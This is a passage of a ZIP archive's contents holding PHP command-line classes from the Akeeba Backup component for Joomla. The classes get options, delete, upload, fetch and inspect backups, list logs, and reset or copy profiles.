	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$profileId = (int) ($this->cliInput->getOption('profile') ?? 1);

		define('AKEEBA_PROFILE', $profileId);

		$format = (string) $this->cliInput->getOption('format') ?? 'text';

		/** @var ProfileModel $model */
		$model = $this->getMVCFactory()->createModel('Profile', 'Administrator');
		$table = $model->getTable();
		$didLoad = $table->load($profileId);

		if (!$didLoad)
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_INVALID_PROFILE', $profileId));

			return 1;
		}

		unset($table);
		unset($model);

		// Get the profile's configuration
		Platform::getInstance()->load_configuration($profileId);
		$config = Factory::getConfiguration();

		$key   = (string) $this->cliInput->getArgument('key') ?? '';
		$value = $config->get($key, null, false);

		if (!is_null($value) && !is_scalar($value))
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_NO_MULTIPLE', $key, $key));

			return 2;
		}

		if (is_null($value))
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_INVALID_KEY', $key));

			return 3;
		}

		switch ($format)
		{
			case 'text':
			default:
				echo $value . PHP_EOL;
				break;

			case 'json':
				echo json_encode($value) . PHP_EOL;
				break;

			case 'print_r':
				print_r($value);
				echo PHP_EOL;
				break;

			case 'var_dump':
				var_dump($value);
				echo PHP_EOL;
				break;

			case 'var_export':
				var_export($value);
				break;

		}

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('key', InputOption::VALUE_REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_KEY'));
		$this->addOption('profile', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_PROFILE'), 1);
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_FORMAT'), 'text');

		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_OPTIONS_GET_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_OPTIONS_GET_HELP'));
	}
}
PK     \
%	xY  Y     src/CliCommands/BackupDelete.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\Model\StatisticModel;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use RuntimeException;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:backup:delete
 *
 * Deletes a backup record known to Akeeba Backup, or just its files
 *
 * @since   7.5.0
 */
class BackupDelete extends AbstractCommand
{
	use MVCFactoryAwareTrait;
	use ConfigureIO;
	use ArgumentUtilities;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:backup:delete';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$id        = (int) $this->cliInput->getArgument('id') ?? 0;
		$onlyFiles = $this->cliInput->getOption('only-files');

		$this->ioStyle->title(Text::sprintf('COM_AKEEBABACKUP_CLI_HEAD_BACKUP_DELETE', $id));

		if ($id <= 0)
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID'));

			return 1;
		}

		/** @var StatisticModel $model */
		$model = $this->getMVCFactory()->createModel('Statistic', 'Administrator');
		$ids = [$id];

		try
		{
			$model->setState('workaround.override_canDelete', true);

			if ($onlyFiles)
			{
				$model->deleteFiles($ids);

				$this->ioStyle->success(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_BACKUP_DELETE_FILES', $id));

				return 0;
			}

			$model->delete($ids);

			$this->ioStyle->success(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_BACKUP_DELETE', $id));

		}
		catch (RuntimeException $e)
		{
			if ($onlyFiles)
			{
				$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_ERR_BACKUP_DELETE_FILES', $id, $e->getMessage()));
			}
			else
			{
				$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_ERR_BACKUP_DELETE', $id, $e->getMessage()));
			}

			return 1;
		}

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('id', InputArgument::REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_DELETE_OPT_ID'));
		$this->addOption('only-files', null, InputOption::VALUE_NONE, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_DELETE_OPT_ONLY_FILES'));
		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_DELETE_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_DELETE_HELP'));
	}
}
PK     \45  5     src/CliCommands/BackupUpload.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\Model\UploadModel;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:backup:upload
 *
 * Retry uploading a backup to the remote storage
 *
 * @since   7.5.0
 */
class BackupUpload extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:backup:upload';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$id = (int) $this->cliInput->getArgument('id') ?? 0;

		$this->ioStyle->title(Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_HEAD', $id));

		if ($id <= 0)
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID'));

			return 1;
		}

		$record = Platform::getInstance()->get_statistics($id);

		if (!is_array($record))
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID'));

			return 1;
		}

		// Set the correct profile ID
		$profileId = $record['profile_id'];
		$this->getApplication()->getSession()->set('akeebabackup.profile', $profileId);
		Platform::getInstance()->load_configuration($profileId);

		/** @var UploadModel $model */
		$model = $this->mvcFactory->createModel('Upload', 'Administrator');
		$part  = 0;
		$frag  = 0;

		$configuration = Factory::getConfiguration();
		$configuration->set('akeeba.tuning.max_exec_time', 1);
		$configuration->set('akeeba.tuning.run_time_bias', 10);

		while (true)
		{
			$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_LBL_PROGRESS', $id, $part, $frag));

			try
			{// Try uploading
				$result = $model->upload($id, $part, $frag);// Get the modified model state
				$id     = $model->getState('id');
				$part   = $model->getState('part');
				$frag   = $model->getState('frag');
				if (($part >= 0) && ($result === true))
				{
					$this->ioStyle->newLine(2);

					$this->ioStyle->success(Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_LBL_COMPLETE', $id));

					return 0;
				}
			}
			catch (Exception $e)
			{
				$this->ioStyle->newLine(2);

				$errorMessage = $e->getMessage();
				$this->ioStyle->error([
					Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_ERR_FAILED', $id),
					$errorMessage
				]);

				return 2;
			}
		}
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('id', InputArgument::REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_OPT_ID'));
		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_HELP'));
	}
}
PK     \zh  h     src/CliCommands/ProfileReset.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ProfileModel;
use Akeeba\Engine\Platform;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:profile:reset
 *
 * Resets an Akeeba Backup profile
 *
 * @since   7.5.0
 */
class ProfileReset extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:profile:reset';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$id            = (int) $this->cliInput->getArgument('id') ?? 0;
		$filters       = (bool) $this->cliInput->getOption('filters') ?? false;
		$configuration = (bool) $this->cliInput->getOption('configuration') ?? false;

		/** @var ProfileModel $model */
		$model = $this->getMVCFactory()->createModel('Profile', 'Administrator');
		$table = $model->getTable();

		if (!$table->load($id))
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_PROFILE_RESET_ERR_NOTFOUND', $id));

			return 1;
		}

		$changes = [];

		if ($filters)
		{
			$changes['filters'] = '';
		}

		if ($configuration)
		{
			$changes['configuration'] = '';
		}

		try
		{
			$result = $table->save($changes);
			$error  = null;
		}
		catch (\Exception $e)
		{
		$result = false;
		$error  = $e->getMessage();
		}

		if ($result === false && $error === null)
		{
			/** @deprecated 10.1.0 Only for Joomla 4 b/c. Remove in 11. */
			/** @noinspection PhpDeprecationInspection */
			$error = $table->getError();
		}

		if (!$result)
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_PROFILE_RESET_ERR_GENERIC', $id, $error));

			return 2;
		}

		/**
		 * Loading the new profile's empty configuration causes the Platform code to revert to the default options and
		 * save them automatically to the database.
		 */
		if ($configuration)
		{
			Platform::getInstance()->load_configuration($id);
		}

		$this->ioStyle->success(Text::sprintf('COM_AKEEBABACKUP_CLI_PROFILE_RESET_LBL_SUCCESS', $table->getId()));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('id', InputOption::VALUE_REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_ID'));
		$this->addOption('filters', null, InputOption::VALUE_NONE, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_FILTERS'));
		$this->addOption('configuration', null, InputOption::VALUE_NONE, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_CONFIGURATION'));

		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_PROFILE_RESET_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_PROFILE_RESET_HELP'));
	}
}
PK     \u^h  h    src/CliCommands/BackupFetch.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\Model\RemotefilesModel;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Joomla\Session\SessionInterface;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:backup:fetch
 *
 * Download a backup from the remote storage back to the server
 *
 * @since   7.5.0
 */
class BackupFetch extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:backup:fetch';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$id = (int) $this->cliInput->getArgument('id') ?? 0;

		$this->ioStyle->title(Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_FETCH_HEAD', $id));

		if ($id <= 0)
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID'));

			return 1;
		}

		$record = Platform::getInstance()->get_statistics($id);

		if (!is_array($record))
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID'));

			return 1;
		}

		// Set the correct profile ID
		/** @var SessionInterface $session */
		$session   = $this->getApplication()->getSession();
		$profileId = $record['profile_id'];

		$session->set('akeebabackup.profile', $profileId);
		Platform::getInstance()->load_configuration($profileId);

		/** @var RemotefilesModel $model */
		$model     = $this->getMVCFactory()->createModel('Remotefiles', 'Administrator');
		$part      = 0;
		$frag      = 0;
		$totalSize = 0;
		$doneSize  = 0;

		$configuration = Factory::getConfiguration();
		$configuration->set('akeeba.tuning.max_exec_time', 1);
		$configuration->set('akeeba.tuning.run_time_bias', 10);

		$this->ioStyle->section(Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_FETCH_SECTION_DOWNLOADING', $id));

		$progress = $this->ioStyle->createProgressBar(1);

		$progress->display();

		while (true)
		{
			if ($totalSize > 0)
			{
				$progress->setMaxSteps($totalSize);
				$progress->setProgress($doneSize);

				$progress->setMessage(Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_FETCH_LBL_PART_FRAG', $part, $frag));
			}

			try
			{
				// Try downloading
				$result = $model->downloadToServer($id, $part, $frag);

				// Get the modified model state
				$id   = $model->getState('id');
				$part = $model->getState('part');
				$frag = $model->getState('frag');

				// Get session variables
				$totalSize = $session->get('akeebabackup.dl_totalsize', 0);
				$doneSize  = $session->get('akeebabackup.dl_donesize', 0);

				// Are we done yet?
				if (($part >= 0) && ($result === true))
				{
					$totalSize = max($totalSize, $doneSize);
					$progress->setMaxSteps($totalSize);
					$progress->setProgress($doneSize);
					$progress->finish();

					$this->ioStyle->newLine(2);

					$this->ioStyle->success(Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_FETCH_LBL_FINISHED', $id));

					return 0;
				}
			}
			catch (Exception $e)
			{
				$this->ioStyle->newLine(2);

				$errorMessage = $e->getMessage();
				$this->ioStyle->error([
					Text::sprintf('COM_AKEEBABACKUP_CLI_BACKUP_FETCH_ERR_FAILED', $id),
					$errorMessage
				]);

				return 2;
			}
		}
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('id', InputArgument::REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_FETCH_OPT_ID'));
		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_FETCH_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_FETCH_HELP'));
	}
}
PK     \J`  `    src/CliCommands/BackupInfo.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Engine\Platform;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:backup:info
 *
 * Lists a backup record known to Akeeba Backup
 *
 * @since   7.5.0
 */
class BackupInfo extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:backup:info';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$id     = (int) $this->cliInput->getArgument('id') ?? 0;
		$format = (string) ($this->cliInput->getOption('format') ?? 'table');

		if ($format === 'table')
		{
			$this->ioStyle->title(sprintf(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_INFO_HEAD'), $id));
		}

		$record = Platform::getInstance()->get_statistics($id);

		return $this->printFormattedAndReturn($record, $format);
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('id', InputArgument::REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_INFO_OPT_ID'));
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_INFO_OPT_FORMAT'), 'table');
		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_INFO_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_INFO_HELP'));
	}
}
PK     \"ce  e    src/CliCommands/LogList.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Component\AkeebaBackup\Administrator\Model\LogModel;
use Akeeba\Engine\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:log:list
 *
 * Lists log files known to Akeeba Backup
 *
 * @since   7.5.0
 */
class LogList extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:log:list';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$profile_id = max(1, (int) $this->cliInput->getArgument('profile_id') ?? 1);
		$format     = (string) ($this->cliInput->getOption('format') ?? 'table');

		define('AKEEBA_PROFILE', $profile_id);

		$configuration   = Factory::getConfiguration();
		$outputDirectory = $configuration->get('akeeba.basic.output_directory');

		if ($format === 'table')
		{
			$this->ioStyle->title(Text::sprintf('COM_AKEEBABACKUP_CLI_LOG_LIST_TITLE', $outputDirectory));
		}

		/** @var LogModel $model */
		$model = $this->getMVCFactory()->createModel('Log', 'Administrator');

		$outputData = array_map(function ($tag) use ($outputDirectory) {
			$possibilities = [
				$outputDirectory . '/akeeba.' . $tag . '.log',
				$outputDirectory . '/akeeba.' . $tag . '.log.php',
				$outputDirectory . '/akeeba' . $tag . '.log',
				$outputDirectory . '/akeeba' . $tag . '.log.php',
			];

			$path = null;

			foreach ($possibilities as $possiblePath)
			{
				if (@is_file($possiblePath))
				{
					$path = $possiblePath;

					break;
				}
			}

			if (empty($path))
			{
				return null;
			}

			return [
				'tag'           => $tag,
				'absolute_path' => $path,
			];

		}, $model->getLogFiles());

		$outputData = array_filter($outputData, function ($x) {
			return !is_null($x);
		});

		return $this->printFormattedAndReturn(array_values($outputData), $format);
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('profile_id', InputArgument::OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_LOG_LIST_OPT_PROFILE_ID'), 1);
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_LOG_LIST_OPT_FORMAT'), 'table');
		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_LOG_LIST_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_LOG_LIST_HELP'));
	}
}
PK     \\]Un.  .    src/CliCommands/ProfileCopy.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ProfileModel;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:profile:copy
 *
 * Creates a copy of an Akeeba Backup profile
 *
 * @since   7.5.0
 */
class ProfileCopy extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:profile:copy';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$format      = (string) $this->cliInput->getOption('format') ?? 'text';
		$format      = in_array($format, ['text', 'json']) ? $format : 'text';
		$id          = (int) $this->cliInput->getArgument('id') ?? 0;
		$withFilters = (bool) $this->cliInput->getOption('filters') ?? false;

		/** @var ProfileModel $model */
		$model = $this->getMVCFactory()->createModel('Profile', 'Administrator');
		$item  = $model->getItem($id);

		if ($item === false)
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_PROFILE_COPY_ERR_NOT_FOUND', $id));

			return 1;
		}

		$profileData = $item->getProperties();
		unset($profileData['id']);

		if (!$withFilters)
		{
			$profileData['filters'] = '';
		}

		$description = (string) $this->cliInput->getOption('description') ?? 0;

		if (!is_null($description))
		{
			$profileData['description'] = trim($description);
		}

		$profileData['quickicon'] = (bool) $this->cliInput->getOption('quickicon') ?? $profileData['quickicon'];

		try
		{
			$table  = $model->getTable();
